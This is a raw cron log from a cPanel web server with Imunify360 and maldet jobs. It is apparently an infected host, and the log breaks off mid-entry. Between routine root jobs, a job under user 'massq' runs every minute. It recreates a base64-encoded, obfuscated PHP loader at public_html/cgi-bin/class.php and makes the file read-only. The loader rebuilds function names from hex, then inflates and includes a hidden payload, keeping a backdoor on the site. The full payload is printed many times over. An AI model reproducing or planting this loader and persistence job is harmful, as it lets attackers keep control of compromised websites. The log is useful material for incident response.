Sep  6 19:59:01 server CROND[18848]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:59:01 server CROND[18849]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:59:01 server CROND[18850]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 20:00:01 server CROND[19273]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 20:00:01 server CROND[19274]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 20:00:01 server CROND[19277]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 20:00:01 server CROND[19288]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 20:00:01 server CROND[19289]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:00:01 server CROND[19291]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  6 20:00:01 server CROND[19296]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:00:01 server CROND[19290]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  6 20:00:01 server CROND[19294]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 20:00:01 server CROND[19292]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 20:01:01 server CROND[20124]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 20:01:01 server CROND[20125]: (root) CMD (run-parts /etc/cron.hourly)
Sep  6 20:01:01 server CROND[20127]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:01:01 server CROND[20126]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:01:01 server run-parts(/etc/cron.hourly)[20125]: starting 0anacron
Sep  6 20:01:01 server run-parts(/etc/cron.hourly)[20146]: finished 0anacron
Sep  6 20:02:01 server CROND[20598]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:02:01 server CROND[20599]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 20:02:01 server CROND[20600]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:03:01 server CROND[20968]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:03:01 server CROND[20969]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 20:03:01 server CROND[20970]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:04:01 server CROND[21337]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:04:01 server CROND[21338]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 20:04:01 server CROND[21339]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:05:01 server CROND[21723]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 20:05:01 server CROND[21724]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  6 20:05:01 server CROND[21726]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 20:05:01 server CROND[21733]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 20:05:01 server CROND[21738]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 20:05:01 server CROND[21740]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:05:01 server CROND[21736]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:05:01 server CROND[21735]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 20:05:01 server CROND[21742]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 20:06:01 server CROND[22599]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:06:01 server CROND[22600]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:06:01 server CROND[22601]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 20:07:01 server CROND[23242]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:07:01 server CROND[23244]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:07:01 server CROND[23243]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 20:08:02 server CROND[23606]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:08:02 server CROND[23607]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:08:02 server CROND[23608]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 20:09:01 server CROND[23969]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 20:09:01 server CROND[23970]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 20:09:01 server CROND[23972]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  6 20:09:01 server CROND[23971]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 20:10:02 server CROND[24358]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 20:10:02 server CROND[24357]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 20:10:02 server CROND[24360]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 20:10:02 server CROND[24364]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 20:10:02 server CROND[24365]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 20:10:02 server CROND[24368]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyo